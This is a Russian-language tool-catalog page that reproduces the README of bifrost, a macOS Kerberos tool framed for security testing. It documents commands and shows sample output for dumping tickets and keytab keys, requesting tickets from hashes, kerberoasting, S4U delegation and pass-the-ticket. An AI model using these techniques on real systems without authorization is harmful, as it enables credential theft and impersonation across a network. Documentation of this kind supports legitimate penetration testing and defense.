Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
bifrost — Библиотека Objective-C и консоль для взаимодействия с APIs Heimdal для macOS Kerberos | Kitploit
Инструменты/GitHubGitHub/its-a-feature/bifrost
Атаки на ПаролиЭксплуатацияТестирование на ПроникновениеАутентификацияRed Teaming
GitHubits-a-feature/bifrost

bifrost

Библиотека Objective-C и консоль для взаимодействия с APIs Heimdal для macOS Kerberos

Репозиторий
1581973 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Bifrost```


( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| (
) )| || | | | ( () )_, | |_ (__/'()() () \___/'(____/_)

Usage: ./bifrost -action [dump | list | askhash | describe | asktgt | asktgs | s4u | ptt | remove] For dump action: -source [tickets | keytab] for keytab, optional -path to specify a keytab for tickets, optional -name to specify a ccache entry to dump For list action: no other options are necessary For askhash action: -username a.test -password 'mypassword' -domain DOMAIN.COM optionally specify -enctype [aes256 | aes128 | rc4] or get all of them optionally specify -bpassword 'base64 of password' in case there might be issues with parsing or special characters For asktgt action: -username a.test -domain DOMAIN.COM if using a plaintext password, specify -password 'password' if using a hash, specify -enctype [aes256 | aes128 | rc4] -hash [hash_here] optionally specify -tgtEnctype [aes256|aes128|rc4] to request a TGT with a specific encryption type optionally specify -supportAll false to indicate that you want a TGT to match your hash enctype, otherwise will try to get AES256 if using a keytab, specify -enctype and -keytab [keytab path] to pull a specific hash from the keytab optionally specify -tgtEnctype [aes256|aes128|rc4] to request a TGT with a specific encryption type optionally specify -supportAll false to indicate that you want a TGT to match your hash enctype, otherwise will try to get AES256 For describe action: -ticket base64KirbiTicket For asktgs action: -ticket [base64 of TGT] -service [comma separated list of SPNs] optionally specify -connectDomain to connect to a domain other than the one specified in the ticket optionally specify -serviceDomain to request a service ticket in a domain other than the one specified in the ticket optionally specify -kerberoast true to indicate a request for rc4 instead of aes256 For s4u: -ticket [base64 of TGT] -targetUser [target user in current domain, or targetuser@domain for a different domain] -spn [target SPN] (if this isn't specified, just a forwardable S4U2Self ticket is requested as targetUser) optionally specify -connectDomain [domain or host to connect to] For ptt: -ticket [base64 of kirbi ticket] optionally specify -name [name] to import the ticket into a specific credential cache optionally specify -name new to import the ticket into a new credential cache For remove: for tickets: -source tickets -name [name here] (removes an entire ccache) for keytabs: -source keytab -principal [principal name] (removes all entries for that principal) for keytabs: optionally specify -name to not use the default keytab you can't remove a specific ccache principal entry since it seems to not be implemented in heimdal

# Содержание
- [Обзор](#overview)
- команды
    - [list](#list)
    - [dump](#dump)  
        - [tickets](#tickets)  
        - [keytab](#keytab)  
    - [askhash](#askhash)  
    - [asktgt](#asktgt)
        - [с паролем в открытом виде](#with-plaintext-password)    
        - [с хэшем](#with-hash)
        - [с записью keytab](#with-keytab-entry)
    - [describe](#describe)
    - [asktgs](#asktgs)
        - [разные домены](#different-domains)
        - [kerberoasting](#kerberoasting)
    - [s4u](#s4u)
    - [ptt](#ptt)
    - [remove](#remove)
        - [кэш учётных данных](#credential-cache)
        - [запись keytab](#keytab-entry)
        
## Обзор
Bifrost — это проект на Objective-C, предназначенный для взаимодействия с Heimdal krb5 API на macOS. Bifrost компилируется в статическую библиотеку (но при необходимости вы можете изменить это на dylib), а bifrostconsole — это простой консольный проект, использующий библиотеку Bifrost. Цель проекта — обеспечить более качественное тестирование безопасности Kerberos на устройствах macOS с использованием нативных API без необходимости установки каких-либо других фреймворков или пакетов на целевой системе.

Поскольку для компиляции требуется Mac, а он может быть не у всех под рукой для тестирования, я включил скомпилированную версию консоли и библиотеки в папку "compiled_binaries". Так как они предварительно скомпилированы, ожидайте, что они будут активно детектироваться по сигнатурам и пригодны только для личного тестирования.
## list
Команда `-action list` перебирает все кэши учётных данных в памяти и выводит основную информацию о каждом кэше и каждой записи в нём. Она также определяет кэш по умолчанию с помощью маркера `[*]`, а все остальные кэши — с помощью маркера `[+]`.```
spooky:~ lab_admin$ ./bifrost -action list
 ___         ___                   _     
(  _`\  _  /'___)                 ( )_  
| (_) )(_)| (__  _ __   _     ___ | ,_)  
|  _ <'| || ,__)( '__)/'_`\ /',__)| |   
| (_) )| || |   | |  ( (_) )\__, \| |_ 
(____/'(_)(_)   (_)  `\___/'(____/\__) 


[*] Principal: [email protected]
    Name: API:A74E8799-8173-4D1A-8C7D-AFD2D8B003F3
    Issued             Expires                Principal                    Flags
2019-11-13 18:00:20PST    2019-11-14 04:00:20PST    krbtgt/[email protected]    (forwardable renewable initial pre-auth )
1970-12-31 16:00:00PST    2019-12-13 18:00:21PST    krb5_ccache_conf_data/kcm-status@X-CACHECONF:    ()

dump

Команда -action dump может извлекать информацию о keytabs или кэшах учетных данных на основе флагов.

tickets

Чтобы выгрузить именно билеты, используйте -source tickets. По умолчанию при этом перебирается только кэш учетных данных по умолчанию. Кэш по умолчанию можно определить с помощью команды -action list, найдя кэш, отмеченный маркером [*]. Чтобы выгрузить конкретный кэш учетных данных, используйте флаг -name [name here].

Каждый билет будет описан и выгружен в формат base64 Kirbi, который затем можно использовать для других команд или с другими инструментами Windows.``` spooky:~ lab_admin$ ./bifrost -action dump -source tickets


( \ _ /'___) ( )_ | (_) )(_)| (__ _ __ _ ___ | ,_) | _ <'| || ,__)( '__)/'_\ /',__)| |
| (
) )| || | | | ( () )_, | |_ (/'()() (_) `_/'(___/_)

Client: [email protected] Principal: krbtgt/LAB.[email protected] Key enctype: aes256 Key: DUpykxCguZ9JtWML38nygb5Yyhvd1nGvy+MGReD7sXU= (0D4A729310A0B99F49B5630BDFC9F281BE58CA1BDDD671AFCBE30645E0FBB175) Expires: 2019-11-14 12:00:20 GMT Flags: forwardable renewable initial pre-auth Kirbi: doIFIDCCBRygBgIEAAA<...snip...>TE9DQUw=

Client: [email protected] Principal: krb5_ccache_conf_data/kcm-status@X-CACHECONF: Key enctype: 0 Key: () Expires: 2019-12-14 02:00:21 GMT Flags: Principal type: kcm-status Ticket Data: a3JiNQAAAAEAAAAA

### keytab
Для дампа ключей keytab используйте параметр `-source keytab`. По умолчанию будет предпринята попытка получить информацию из стандартного keytab (`/etc/krb5.keytab`), который доступен только для чтения root. Чтобы указать другой keytab, используйте аргумент `-path /path/to/keytab`.

Каждая запись keytab будет описана, а ключ будет выведен в base64 и hex.```
spooky:~ lab_admin$ ./bifrost -action dump -source keytab -path test
 ___         ___                   _     
(  _`\  _  /'___)                 ( )_  
| (_) )(_)| (__  _ __   _     ___ | ,_)  
|  _ <'| || ,__)( '__)/'_`\ /',__)| |   
| (_) )| || |   | |  ( (_) )\__, \| |_ 
(____/'(_)(_)   (_)  `\___/'(____/\__)
Скачать инструмент